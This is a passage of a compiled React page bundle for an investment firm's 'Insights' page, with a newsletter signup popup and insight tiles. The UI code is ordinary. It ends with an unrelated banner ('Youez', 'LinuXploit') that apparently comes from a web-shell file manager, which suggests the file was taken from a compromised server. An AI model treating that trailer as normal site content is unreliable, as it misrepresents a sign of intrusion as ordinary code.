                  stroke: "white",
                  "stroke-width": "1.5",
                  "stroke-linecap": "round",
                  "stroke-linejoin": "bevel"
                })
              })]
            })]
          })]
        })]
      })
    })
  });
}
const InsightsPage = (props) => {
  let [popUpOpen, setPopUpOpen] = useState(false);
  console.log(props.insights);
  return /* @__PURE__ */ jsxs(Layout, {
    children: [/* @__PURE__ */ jsx(NextSeo, {
      title: "News | Evolution Equity Partners"
    }), /* @__PURE__ */ jsx(Navigation, {}), /* @__PURE__ */ jsxs("div", {
      className: " " + styles.mon,
      children: [/* @__PURE__ */ jsx("div", {
        className: "fixed bg-white h-full md:h-100vh overflow-auto  w-full -mt-60px md:-mt-90px " + styles.z9999 + " " + (popUpOpen ? " block" : " hidden"),
        children: /* @__PURE__ */ jsxs("div", {
          className: "fixed bg-popupBlue h-full md:h-100vh overflow-auto w-full flex flex-col  ",
          children: [/* @__PURE__ */ jsxs("div", {
            className: "flex justify-between items-center md:px-50px pt-20px",
            children: [/* @__PURE__ */ jsx("div", {
              children: /* @__PURE__ */ jsx(Link, {
                href: "/",
                children: /* @__PURE__ */ jsx("img", {
                  src: "/evolution-logo.svg",
                  alt: "Evolution Logo",
                  className: styles.evolutionLogo + " mobile:w-48"
                })
              })
            }), /* @__PURE__ */ jsx("div", {
              onClick: () => {
                setPopUpOpen((p) => !p);
              },
              className: " mr-30px md:mr-0 cursor-pointer",
              children: /* @__PURE__ */ jsx("svg", {
                width: "16",
                height: "16",
                viewBox: "0 0 16 16",
                fill: "none",
                xmlns: "http://www.w3.org/2000/svg",
                children: /* @__PURE__ */ jsx("path", {
                  d: "M1 1L15 15M15 1L1 15",
                  stroke: "black",
                  "stroke-width": "1.5",
                  "stroke-linecap": "round"
                })
              })
            })]
          }), /* @__PURE__ */ jsxs("div", {
            className: "mx-auto mt-30px md:m-auto flex flex-col " + styles.z9999,
            children: [/* @__PURE__ */ jsx("div", {
              className: "text-center text-18 ",
              children: "INSIGHTS"
            }), /* @__PURE__ */ jsx("div", {
              className: "text-center text-30 md:max-w-md mx-auto",
              children: "Company building insights straight to your inbox"
            }), /* @__PURE__ */ jsxs(Form, {
              className: "mx-auto mt-40px",
              children: [/* @__PURE__ */ jsxs("div", {
                className: "flex flex-col md:flex-row mx-auto",
                children: [/* @__PURE__ */ jsxs("div", {
                  className: "md:mr-15px w-300px",
                  children: [/* @__PURE__ */ jsx(TextField, {
                    type: "text",
                    name: "name",
                    label: "First name",
                    placeholder: "John"
                  }), /* @__PURE__ */ jsx(TextField, {
                    type: "text",
                    name: "company",
                    label: "Company",
                    placeholder: "ex. Insight"
                  })]
                }), /* @__PURE__ */ jsxs("div", {
                  className: "md:ml-15px w-300px",
                  children: [/* @__PURE__ */ jsx(TextField, {
                    type: "text",
                    name: "lastname",
                    label: "Last name",
                    placeholder: "Doe"
                  }), /* @__PURE__ */ jsx(TextField, {
                    type: "email",
                    name: "email",
                    label: "E-mail",
                    placeholder: "ex. johndoe@example.com"
                  })]
                })]
              }), /* @__PURE__ */ jsx(Select, {
                name: "companytype",
                placeholder: "Limited Partner",
                label: /* @__PURE__ */ jsx("span", {
                  children: "Company type"
                }),
                containerClassName: "mr-12px",
                options: [{
                  value: "limitedpartner",
                  text: "Limited Partner"
                }, {
                  value: "vcpefund",
                  text: "VC/PE Fund"
                }, {
                  value: "startup",
                  text: "Startup"
                }, {
                  value: "other",
                  text: "Other"
                }]
              }), /* @__PURE__ */ jsx("div", {
                className: "mx-auto flex justify-center",
                children: /* @__PURE__ */ jsx(Checkbox, {
                  name: "agree",
                  label: /* @__PURE__ */ jsxs("span", {
                    children: ["I agree with the ", /* @__PURE__ */ jsx("a", {
                      className: "underline text-insightsButtonBlue",
                      href: "",
                      children: "Terms and Conditions"
                    })]
                  })
                })
              })]
            }), /* @__PURE__ */ jsx("div", {
              className: "flex mt-24px items-center justify-center",
              children: /* @__PURE__ */ jsx("button", {
                className: " w-full md:w-auto bg-insightsButtonBlue rounded-md h-56px text-white px-24px",
                children: "Subscribe"
              })
            })]
          }), /* @__PURE__ */ jsx("div", {
            className: "absolute bottom-0 hidden md:block",
            children: /* @__PURE__ */ jsx("img", {
              className: "w-screen",
              src: "/assets/icons/waves.svg",
              alt: ""
            })
          })]
        })
      }), /* @__PURE__ */ jsx("div", {
        className: "bg-insightsGray px-20px min-h-hMinusHeader  h-minusHeader " + styles.mon,
        children: /* @__PURE__ */ jsxs("div", {
          className: "max-w-6xl mx-auto pt-30px md:pt-15vh",
          children: [/* @__PURE__ */ jsx("div", {
            className: "text-center w-full",
            children: "EVOLUTION INSIGHTS"
          }), /* @__PURE__ */ jsxs("div", {
            className: "font-bold text-center w-full text-32 mt-8px pb-16px",
            children: ["Strategies and playbooks for ambitious ", /* @__PURE__ */ jsx("br", {}), " entrepreneurs"]
          }), /* @__PURE__ */ jsxs("div", {
            className: "text-16 mb-30px text-center w-full",
            children: ["Subscribe to be first to know when our next video or ", /* @__PURE__ */ jsx("br", {}), " playbook is released"]
          }), /* @__PURE__ */ jsx("div", {
            className: "flex mb-85px justify-center",
            children: /* @__PURE__ */ jsx("button", {
              onClick: () => {
                setPopUpOpen((p) => !p);
              },
              className: " bg-insightsButtonBlue rounded-md h-56px text-white px-24px",
              children: "Subscribe"
            })
          })]
        })
      }), /* @__PURE__ */ jsxs("div", {
        className: "px-20px max-w-6xl mx-auto " + styles.insightsContainer,
        children: [/* @__PURE__ */ jsx("div", {
          className: "grid row-gap-20px sm:grid-cols-2 col-gap-20px transform mobile:grid-cols-1 " + styles.grid,
          children: props.insights.length > 0 ? props.insights.slice(0, 2).map((p, i) => /* @__PURE__ */ createElement(TileInsight, {
            ...p,
            key: i
          })) : /* @__PURE__ */ jsx("p", {
            className: "mb-12 h-64 block",
            children: "We have no insights at the moment"
          })
        }), /* @__PURE__ */ jsx("div", {
          className: "grid row-gap-20px  sm:grid-cols-2 md:grid-cols-3 col-gap-20px transform mt-30px " + styles.grid,
          children: props.insights.length > 2 ? props.insights.slice(2, props.insights.length).map((p, i) => /* @__PURE__ */ createElement(TileInsight, {
            ...p,
            key: i
          })) : /* @__PURE__ */ jsx("p", {
            className: "mb-12 h-64 block",
            children: "We have no more insights at the moment"
          })
        })]
      }), /* @__PURE__ */ jsx("div", {
        className: "px-20px max-w-6xl mx-auto " + styles.moveUp,
        children: /* @__PURE__ */ jsxs("div", {
          className: "grid mb-90px rounded-md overflow-hidden",
          children: [/* @__PURE__ */ jsx("div", {
            className: " md:col-start-1 md:row-start-1 pointer-events-none bg-insightsGray w-full relative mt-30px rounded-md"
          }), /* @__PURE__ */ jsx("div", {
            className: "row-start-2 md:col-start-1 pointer-events-none md:row-start-1 bg-insightsGray md:bg-transparent",
            children: /* @__PURE__ */ jsx("img", {
              className: " ",
              src: "/assets/icons/waves.svg",
              alt: ""
            })
          }), /* @__PURE__ */ jsx("div", {
            className: "row-start-1 md:col-start-1 md:row-start-1 w-full flex justify-end",
            children: /* @__PURE__ */ jsx("div", {
              className: "bg-insightsGray md:bg-transparent md:w-50% p-40px flex",
              children: /* @__PURE__ */ jsxs("div", {
                className: "m-auto md:pr-50px",
                children: [/* @__PURE__ */ jsx("div", {
                  className: "text-24 font-bold",
                  children: "Never miss and Insight. Stay in sight and yoin our newsletter."
                }), /* @__PURE__ */ jsx("div", {
                  className: "mt-16px mb-20px",
                  children: "Lorem ipsum dolor sit amet, consectetur adipisici elit."
                }), /* @__PURE__ */ jsx("div", {
                  className: "flex items-center justify-between",
                  children: /* @__PURE__ */ jsx("button", {
                    onClick: () => {
                      setPopUpOpen((p) => !p);
                    },
                    className: " w-full md:w-auto bg-insightsButtonBlue rounded-sm h-50px text-white px-24px",
                    children: "Subscribe"
                  })
                })]
              })
            })
          })]
        })
      })]
    }), /* @__PURE__ */ jsx(Footer, {})]
  });
};
const insights = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  __proto__: null,
  TileInsight,
  default: InsightsPage
}, Symbol.toStringTag, { value: "Module" }));
export {
  Checkbox as C,
  Form as F,
  Select as S,
  TextField as T,
  TileInsight as a,
  insights as i
};

Youez - 2016 - github.com/yon3zu
LinuXploit